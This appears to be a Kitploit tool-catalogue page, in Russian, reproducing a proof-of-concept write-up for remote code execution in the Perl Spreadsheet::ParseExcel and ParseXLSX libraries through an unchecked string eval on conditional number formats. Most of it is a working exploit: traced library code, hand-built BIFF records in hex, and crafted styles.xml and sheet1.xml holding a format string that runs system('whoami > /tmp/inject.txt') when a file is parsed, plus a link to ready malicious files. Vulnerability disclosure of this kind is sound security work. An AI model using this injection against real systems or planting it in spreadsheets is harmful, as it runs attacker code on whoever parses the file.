Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
perl_spreadsheet_excel_rce_poc — PoC для уязвимости RCE в библиотеке ParseExcel, а также в ParseXLSX, как зависимой библиотеке. | Kitploit
Инструменты/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

PoC для уязвимости RCE в библиотеке ParseExcel, а также в ParseXLSX, как зависимой библиотеке.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1861 год назадЕщё не проверено

Уязвимость безопасности ParseExcel

TL;DR: Удаленное выполнение кода (RCE) из-за логики разбора строк форматирования.

Краткое объяснение эксплуатации

Коренная причина эксплуатации заключается в вызове eval для непроверенного пользовательского ввода в Utility.pm

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

Согласно тому, что я изучил, текущая реализация этого потока не имеет надлежащей проверки, а использование eval для обработки логики сравнения в данном случае является слишком «over kill». Из-за этого как ParseExcel::parse, так и ParseXLSX::parse (используемые для чтения данных из файлов Excel) уязвимы к RCE.

Где $format_str?

ValFmt является наиболее вероятным вызывающим ExcelFmt, поэтому я подробнее объясню этот метод. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

Если $oCell->{Type} равно Date или Number, будет вызван ExcelFmt.

Значение $format_str возвращается из другого метода: FmtString https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

Вызывается еще одна функция, поэтому мы также рассмотрим FmtStringDef https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

Все переменные ясны, можно сделать вывод, что вектор атаки выглядит следующим образом:

  • Внедрить вредоносную строку формата с индексом $iFmtIdx
  • Убедиться, что формат ячейки $oBook->{Format}[$cellFmtIdx] сопоставляется с $iFmtIdx
  • Убедиться, что ячейка сопоставляется с этим форматом ячейки ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

В следующих разделах я подробно объясню, как полезная нагрузка распространяла шелл-код до команды eval. Будут два раздела: для разбора файла .xls с помощью ParseExcel и для разбора файла .xlsx с помощью ParseXLSX.

PoC (Proof of Concept)

Для демонстрации ниже приведена ссылка на созданные нами вредоносные файлы Excel (в форматах .xls и .xlsx), которые выполняют whoami и сохраняют результат в файл /tmp/inject.txt. https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

Эксплуатация XLS-файла

Возьмем простую программу на Perl для разбора xls-файла, как показано ниже, которая использует ParseExcel::parse. RCE произойдет во время разбора, еще до того, как будут получены какие-либо данные.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

Внедрение строки форматирования

Двоичные файлы Excel 97 структурированы в блоки двоичных данных, называемые записями BIFF. Каждая запись начинается с заголовка, называемого opCode (в little-endian), затем следует длина записи и фактические данные.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

После этого для извлечения данных записи BIFF используется соответствующий обработчик для типа записи. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

Строка форматирования обрабатывается _subFormat с opCode = 0x41E https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

Я не был уверен, какая версия BIFF используется в моем .xls-файле, но, согласно данным в двоичном файле, она должна соответствовать случаю else (> verBIFF5).

Структура записи строки форматирования в более новых версиях BIFF должна быть: 1E 04 [длина записи — 2 байта] [индекс строки форматирования — 2 байта] [длина строки форматирования — 1 байт] [флаги строки — 2 байта] [содержимое строки форматирования]

Следуя правильной структуре, я могу внедрить любую строку форматирования в .xls-файл.

Фактическая запись BIFF для строки форматирования, которую я внедрил в PoC (индекс строки форматирования — \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

Сопоставление формата ячейки со строкой форматирования

Форматы ячеек определяют множество свойств ячейки, такие как строка форматирования, стили, шрифты... Один формат ячейки может ссылаться на одну строку форматирования, включая индекс строки форматирования в свою запись BIFF. Эта логика обрабатывается _subXf https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

Поскольку наш BIFFVersion больше BIFF5, условие не должно попадать в первый случай. Для двух других мы знаем, что $iIdx — это второе слово в данных BIFF. Поэтому выполнить этот шаг также тривиально.

Фактическая запись BIFF для формата ячейки, которую я использовал в PoC

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

Более того, форматы ячеек идентифицируются по их индексу в списке, поэтому я изменил первую запись, и мой индекс формата ячейки должен быть 0

Сопоставление ячейки с форматом ячейки

Чтобы применить формат к ячейке, она должна включать ID формата ячейки в свою запись BIFF. Однако, как я упоминал ранее, только ячейка с типом Number или Date может вызвать RCE, поэтому я использую ячейку с типом даты для PoC (называется запись RK BIFF). https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

Мы видим, что индекс, сопоставляемый с форматом ячейки, теперь является третьим словом записи, поэтому все, что нам нужно сделать, — это обнулить это слово до \x00

Фактическая запись BIFF для ячейки с датой, которую я использовал в PoC

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

Обратите внимание, что метод _subRK еще явно не определяет тип Date. Вместо этого проверка типа реализована в chkType https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

Поскольку $iNumeric установлено в 1, мы уверены, что тип не Text

Наконец, при инициализации нового объекта Cell будет вызван ValFmt, и цепочка выполнения продолжит распространять нашу оболочку до метода eval. https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

Эксплуатация XLSX-файла

Работа с файлом .xlsx значительно проще, поскольку мы можем напрямую изменять данные в открытом тексте (формат xml). Возьмем простую программу на Perl для разбора xls-файла, как показано ниже, которая использует ParseXLSX::parse. RCE произойдет во время разбора, еще до того, как будут получены какие-либо данные.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

Файл XLSX представляет собой zip-архив, содержащий множество xml-файлов, каждый из которых содержит определенные типы данных книги. Ниже приведен пример структуры папок:

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Строки форматирования и форматы ячеек       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Значения ячеек

Внедрение строки форматирования и сопоставление с форматом ячейки

Строка форматирования включается в файл xl/styles.xml в теге <numFmts>, а форматы ячеек определяются в теге <cellXfs>. https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

Чтобы внедрить строку форматирования, нам нужно добавить тег <numFmt>, где formatCode — это строка форматирования, а numFmtId — любое целое значение. Здесь я использовал 123.

После этого мы добавим еще один элемент <xf> для сопоставления со строкой форматирования, где атрибут numFmtId будет нашим выбранным идентификатором (123)

Окончательные данные xml, которые я использовал в PoC

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

Сопоставление ячейки с форматом ячейки

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

Логика чтения данных ячейки в этой библиотеке более прямолинейна: тип и значение присваиваются непосредственно из атрибутов тега xml. Поскольку нам нужно, чтобы $oCell->{Type} было Date или Numeric, нам просто нужно, чтобы атрибут t был d или n. Чтобы сопоставить ячейку с форматом ячейки, мы также установим атрибут s равным индексу формата ячейки (3).

Окончательные данные xml, которые я использовал в PoC

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
Скачать инструмент